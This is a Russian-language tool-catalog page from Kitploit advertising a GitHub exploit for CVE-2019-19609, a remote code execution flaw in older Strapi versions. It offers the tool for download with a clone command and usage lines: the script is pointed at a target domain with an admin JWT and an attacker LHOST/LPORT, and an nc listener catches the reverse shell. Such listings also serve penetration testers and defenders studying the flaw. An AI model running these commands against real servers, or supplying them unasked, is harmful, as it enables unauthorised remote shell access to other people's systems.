Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-19609-EXPLOIT — Эксплойт для CVE-2019-19609 в Strapi (Удаленное выполнение кода) | Kitploit
Инструменты/GitHubGitHub/diego-tella/cve-2019-19609-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubdiego-tella/cve-2019-19609-exploit

CVE-2019-19609-EXPLOIT

Эксплойт для CVE-2019-19609 в Strapi (Удаленное выполнение кода)

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
934 лет назадЕщё не проверено

CVE-2019-19609-EXPLOIT

Эксплойт для CVE-2019-19609 в Strapi (удаленное выполнение кода в strapi-3.0.0-beta.17.7 или более ранних версиях).
Я столкнулся с ситуацией, связанной с этой уязвимостью, но без публичного эксплойта. Я решил создать свой собственный и поделиться им здесь.

Установка

root@kitploit:~
git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT

Использование

root@kitploit:~
cd CVE-2019-19609-EXPLOIT
python exploit.py -d DOMAIN_OR_IP -jwt JSON_WEB_TOKEN -l LHOST -p LPORT
root@kitploit:~
python exploit.py -d example.com -jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjU3NDc3LCJleHAiOjE2MzI4NDk0Nzd9.JIKHRz_EDXg1fhThRhIbIyZ9w-6mE01dhnno2AtMMU0 -l 10.10.14.86 -p 1221

На другом терминале начните прослушивание порта, переданного в эксплойте

root@kitploit:~
nc -vnlp 1221
Скачать инструмент